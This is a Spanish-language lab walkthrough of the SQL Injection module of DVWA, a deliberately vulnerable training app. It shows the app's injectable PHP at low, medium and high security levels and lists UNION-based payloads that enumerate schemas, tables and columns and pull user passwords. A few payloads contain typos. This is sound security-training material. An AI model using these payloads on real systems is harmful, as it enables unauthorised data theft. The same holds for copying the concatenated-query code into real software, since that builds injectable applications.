> For the complete documentation index, see [llms.txt](https://alerodriguezm99.gitbook.io/bariho/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alerodriguezm99.gitbook.io/bariho/walkthrough/dvwa/sql-injection.md).

# SQL Injection

## Low Security Level

{% hint style="info" %}
No tiene medida de seguridad.
{% endhint %}

```php
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>
```

LISTAR **BASE DE DATOS**:

> a' UNION SELECT schema\_name, "2" FROM information\_schema.schemata;-- -

LISTAR **TABLAS**:

> a' UNION SELECT table\_name, "2" FROM information\_schema.tables; -- -

LISTAR **COLUMNAS:**

> a' UNION SELECT column\_name, "2 FROM information\_schema.columns;-- -

LISTAR **USUARIOS:**

> a' UNION SELECT first\_name, password FROM dvwa.users; -- -

## Medium Security Level

{% hint style="warning" %}
Malas practicas de seguridad.
{% endhint %}

```php
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>
```

* ***(CON BURSUITE)***&#x20;

LISTAR **BASE DE DATOS:**

> id= 1 UNION SELECT schema\_name, version() FROM information\_schema.schemata;- -

LISTAR **TABLAS:**

> id= 1 UNION SELECT table\_name, version() FROM information\_schema.tables;- -

LSITAR **COLUMNAS:**

> id= 1 UNION SELECT column\_name, version() FROM information\_schema.columns;- -

LISTAR **USUARIOS:**

> id= 1 UNION SELECT user, password FROM dvwa.users;- -

## High Security Level

{% hint style="danger" %}
Malas prácticas más duras o alternativas.
{% endhint %}

```php
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?>
```

**SIMILAR** al *Low Security Level.*

LISTAR **BASE DE DATOS:**

> a' UNION SELECT schema\_name, "2" FROM information\_schema.schemata;-- -

LISTAR **TABLAS:**

> a' UNION SELECT table\_name, "2" FROM information\_schema.tables; -- -

LSITAR **COLUMNAS:**

> a' UNION SELECT column\_name, "2 FROM information\_schema.columns;-- -

LISTAR **USUARIOS:**

> a' UNION SELECT first\_name, password FROM dvwa.users; -- -

## Impossible Security Level

{% hint style="danger" %}
Segura contra todas las vulnerabilidades.
{% endhint %}


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